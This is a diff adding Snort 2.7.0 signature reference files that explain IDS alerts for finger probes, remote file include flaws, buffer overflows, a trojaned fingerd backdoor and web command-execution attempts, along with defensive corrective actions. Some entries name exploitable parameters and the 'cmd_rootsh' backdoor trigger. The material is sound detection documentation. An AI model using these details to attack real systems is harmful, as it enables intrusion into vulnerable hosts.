+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/421.txt
+++ snort-2.7.0/doc/signatures/421.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+421
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Registration Reply datagram.
+
+--
+
+Impact:
+ICMP Mobile Registration Reply were never implemented and have been replaced by UDP and TCP versions of the message.  ICMP Type 36 datagrams should never be seen in normal network conditions.
+
+--
+
+Detailed Information:
+ICMP Mobile Registration Reply datagrams were developed before the approval of RFC3344 (IP Mobility Support for IPv4).  Therefore these types of ICMP datagrams should never be seen in normal networking conditions.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 36 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/332.txt
+++ snort-2.7.0/doc/signatures/332.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 332
+
+-- 
+
+Summary: 
+An intelligence gathering attack against the finger daemon
+
+-- 
+
+Impact:
+The attacker may obtain information about user accounts on the target system.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use a finger command against a host with a username of "0".  A finger query against a vulnerable finger daemon may allow the attacker to obtain a list of accounts on the target system with some details for each account where present (such as time and source of the last login). 
+
+Obtaining a list of accounts might precipitate further attacks such as password guessing, email attacks and other abuse.
+
+--
+
+Attack Scenarios:
+An attacker learns that the "sys" account exists on the system. He then proceeds to guess the password and is then able to gain remote access to the system.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS378
+http://www.whitehats.com/info/IDS131
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10069%20(Finger%20zero%20at%20host
+
+--
--- snort-2.7.0.orig/doc/signatures/100000397.txt
+++ snort-2.7.0/doc/signatures/100000397.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000397
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "login.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "login.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/508.txt
+++ snort-2.7.0/doc/signatures/508.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+508
+
+--
+Summary:
+This event is generated when a Gopher server is used as a proxy to connect to an FTP server.
+
+--
+Impact:
+This allows a user to assume the source IP of the Gopher server when connecting to an FTP server.
+
+--
+Detailed Information:
+A Gopher server may support proxy connections to FTP servers.  This allows a user to assume the source IP of the Gopher server when connecting to an FTP server.  This may be used to bypass FTP access restrictions based on source IP's.  
+
+--
+Affected Systems:
+Any Gopher server that supports proxy connections to FTP servers.
+
+--
+Attack Scenarios:
+A user who is normally restricted access to an FTP server based on the originating IP may attempt to circumvent this by attempting access from a Gopher server that supports proxy connections to FTP servers.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+This even will trigger if a Gopher server suuports proxy connections to FTP servers. 
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable the use of Gopher server.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats
+www.whitehats.com/info/IDS409
+
+--
--- snort-2.7.0.orig/doc/signatures/100000639.txt
+++ snort-2.7.0/doc/signatures/100000639.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000639
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_import.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_import.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000809.txt
+++ snort-2.7.0/doc/signatures/100000809.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000809
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "RW Download" application running on a webserver. Access to the file "stats.php" using a remote file being passed as the "root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root_path" parameter in the "stats.php" script used by the "RW Download" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RW Download
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2320.txt
+++ snort-2.7.0/doc/signatures/2320.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2320
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ebola from PLD Software.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible.
+
+--
+Detailed Information:
+Ebola from PLD Software is used to improve the performance of Anti-Virus
+solutions on Linux systems.
+
+A buffer overflow condition is present in the authentication mechanism
+such that it may be triggered by the generation of an error message from
+an unsuccessful authentication attempt.
+
+--
+Affected Systems:
+	All versions of Ebola prior to 0.1.5
+
+--
+Attack Scenarios:
+An attacker can send specially crafted authentication attempts to the Ebola system and
+cause the buffer overflow thus presenting the opportunity to execute
+arbitrary code.
+
+--
+Ease of Attack:
+Simple. Expoits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2289.txt
+++ snort-2.7.0/doc/signatures/2289.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2289
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2247.txt
+++ snort-2.7.0/doc/signatures/2247.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2247
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Persits AspUpload application.
+
+--
+Impact:
+Information disclosure. Possible retrieval of sensitive system files. 
+Installation of arbitrary files.
+
+--
+Detailed Information:
+Under certain circumstances it is possible to retrieve information from 
+outside the web root of a server using AspUpload by utilizing a 
+directory traversal technique. The same technique can also be used to 
+upload files of the attackers choosing to other areas of the file 
+system.
+
+The vulnerability exists in the sample scripts that accompany the 
+application.
+
+--
+Affected Systems:
+	AspUpload 2.1
+	
+--
+Attack Scenarios:
+The attacker can use a simple directory traversal technique when 
+supplying the filename for upload.
+
+--
+Ease of Attack:
+Simple. NO exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Remove the sample scripts installed by the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3608
+
+--
--- snort-2.7.0.orig/doc/signatures/1359.txt
+++ snort-2.7.0/doc/signatures/1359.txt
@@ -0,0 +1,56 @@
+Rule: 
+
+--
+Sid: 1359
+
+-- 
+Summary: 
+A web command execution attack involving the use of a "ping" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity. 
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "ping" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "ping" command may be used to perform information gathering activities.
+
+The rule looks for the "ping" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "ping" command in the URI indicates that an attacker attempted to trick the web server into executing system in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may generate an event in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "ping" command to perform anonymous reconnaissance
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+none known
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3088.txt
+++ snort-2.7.0/doc/signatures/3088.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3088
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a client buffer
+overflow associated with Winamp's processing of a filename with an
+extension of .cda.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user running Winamp.
+
+--
+Detailed Information:
+Winamp is a media file player for Windows developed by Nullsoft.  A buffer
+overflow exists because of insufficient bounds checking while handling the
+name of a CD audio format file (.cda extension) or a playlist that contains
+a filename with a .cda extension.  An overly long name may cause the buffer
+overflow permitting the execution of arbitrary code at the privilege level
+of the user running Winamp.
+
+--
+Affected Systems:
+	Winamp 3.x, and 5.x
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed .cda filename that may cause
+a buffer overflow and the subsequent execution of arbitrary code on the
+vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.7.0.orig/doc/signatures/819.txt
+++ snort-2.7.0/doc/signatures/819.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+819
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/319.txt
+++ snort-2.7.0/doc/signatures/319.txt
@@ -0,0 +1,64 @@
+SID:
+319
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a vulnerable 
+version of bootpd
+--
+
+Impact:
+If attack is successful, total system compromise from a remote attacker
+--
+
+Detailed Information:
+Due to improper handling of bounds checking in bootp request packets 
+Bootpd version 2.4.3(and earlier) is susceptible to several types of 
+buffer overflows. A successful exploit will result in complete 
+compromise of the attacked system. Any system running Bootpd version 
+Stanford University bootpd 2.4.3 should consider themselves vulnerable
+--
+
+Affected Systems:
+	Debian Linux 1.1 
+	Debian Linux 1.2 
+	Debian Linux 1.3 
+	Debian Linux 1.3.1 
+	Debian Linux 2.0 
+	Stanford University bootpd 2.4.3
+--
+
+Attack Scenarios:
+An attacker can exploit vulnerable bootpd servers and modify system 
+files as the root user or create a shell with root privileges
+--
+
+Ease of Attack:
+Simple, Sample code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have supplied patched versions of bootpd, upgrade
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1338.txt
+++ snort-2.7.0/doc/signatures/1338.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1338
+
+--
+Summary:
+Attempted chown command access via web
+
+--
+Impact:
+Attempt to change file ownership permissions on a webserver.
+
+--
+Detailed Information:
+This is an attempt to change file ownership permissions on a machine.
+Using thiscommand an attacker may change the permissions of a file to
+suit his ownneeds, make a file owned by another user who would
+otherwise not havethese special permissions.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/chown'
+in the URI whichcan then change file permissions of files present on
+the host.Thiscommand may also be requested on a command line should
+the attacker gainaccess to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin.Whenever possible,
+sensitive files andcertain areas of the filesystem should have the
+system immutable flagset to negate the use of the chown command. On
+BSD derived systems,setting the systems runtime securelevel also
+prevents the securelevelfrom being changed. (note: the securelevel can
+only beincreased)
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1336
+sid: 1337
+
+man chown
+
+--
--- snort-2.7.0.orig/doc/signatures/320.txt
+++ snort-2.7.0/doc/signatures/320.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid: 320
+
+-- 
+Summary: 
+This event is generated when access to a known UNIX backdoor deployed by attackers is attempted. In this case it may be a connection to a Trojaned version of fingerd.
+
+-- 
+
+Impact: 
+Remote system compromise leading to a compromise of all resources the host is connected to.
+
+--
+Detailed Information:
+The rule generates an event when access to a "fingerd" backdoor is attempted, this was often found on compromised UNIX machines in the late 1990s. The Trojan finger daemon runs as "root" and is started by inetd with parameters from inetd.conf file unlike the regular finger daemon which runs as "nobody" and replaces the regular "fingerd" binary. It allows its owner to execute several commands remotely by sending a finger request to a specific user. Particularly, the finger request for the user "cmd_rootsh" spawns a root shell bound to the finger port and allows remote command execution.
+
+--
+
+Attack Scenarios: 
+An attacker gains access to a UNIX machine via a remote exploit, then downloads and deploys the "fingerd" trojan. Next, the attacker only needs to send a finger request to gain root access with no password.
+
+-- 
+
+Ease of Attack: 
+The victim host is most likely already compromised.
+
+-- 
+
+False Positives: 
+None known
+
+--
+False Negatives: 
+None known
+
+-- 
+
+Corrective Action: 
+
+Restore the system from a known good backup.
+
+Reinstall the operating system.
+
+--
+Contributors: 
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10070
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0660
+
+SANS:
+http://www.sans.org/y2k/TFN_toolkit.htm
+http://www.sans.org/y2k/fingerd.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1067.txt
+++ snort-2.7.0/doc/signatures/1067.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+1067
+
+--
+Summary:
+This event is generated when the NET command is used for message sending, remote null session connections etc.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+An attacker tried to access the "net" command on a host.
+
+The Windows "net" command is usually not accessible through a webserver, check for possible directory traversal attacks.
+
+Net cannot be used to gain full control of a host, but can establish null sessions on weakly protected Windows hosts for example or to gain information on the network the host is connected to.
+
+--
+Attack Scenarios:
+A web request for the command "net".
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A valid URL request containing the string "net.exe" can generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Protect "net.exe" from remote usage. Remove the file completly if it is 
+not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2274.txt
+++ snort-2.7.0/doc/signatures/2274.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2274
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+POP3 server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username and password combinations.  
+Alternately, it may indicate that an authorized user has entered an
+incorrect username and password combination a number of times.
+
+--
+Detailed Information:
+An POP3 server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts.
+
+--
+Affected Systems:
+POP3 servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed POP3 login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/651.txt
+++ snort-2.7.0/doc/signatures/651.txt
@@ -0,0 +1,55 @@
+Rule:  
+--
+Sid:
+651
+
+--
+Summary:
+Binary data in the packet matched one kind of byte sequence used as filler in buffer overflow attacks.
+
+--
+Impact:
+It is possible someone was attempting a buffer overflow to gain unauthorized access to one of your servers.
+
+--
+Detailed Information:
+This rule triggers when a binary pattern appears in the packet contents which matches one form of filler-bytes used in buffer overflow attacks. Buffer overflows allow execution of arbitrary code with the privlege level of the affected server process. A very detailed discussion of how basic buffer overflows work can be found in the text of "Smashing the stack for fun and profit" by Aleph One in Phrack #49.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+If the attacker suspects you have a server which is vulnerable to buffer overflow, they will attempt to exploit this vulnerability to gain access.
+
+
+--
+Ease of Attack:
+Tools that use buffer overflows with stealth nop are widely available.
+
+--
+False Positives:
+This byte pattern can naturally occur in almost any binary data, so file downloads, streaming media, etc can cause this to false positive. If this traffic appears to be coming from a web or ftp server outside your network to one of your client machines, it is likely a false alert caused by someone downloading a binary file. If this was directed at a port on one of your machines which is running a server process, you may want to check to see if it has been exploited.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Matt Kettler mkettler@evi-inc.com	Initial Research
+Josh Gray	Edits
+
+-- 
+Additional References:
+http://online.securityfocus.com/library/14
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1715.txt
+++ snort-2.7.0/doc/signatures/1715.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1715
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2377.txt
+++ snort-2.7.0/doc/signatures/2377.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2377
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3412.txt
+++ snort-2.7.0/doc/signatures/3412.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3412
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
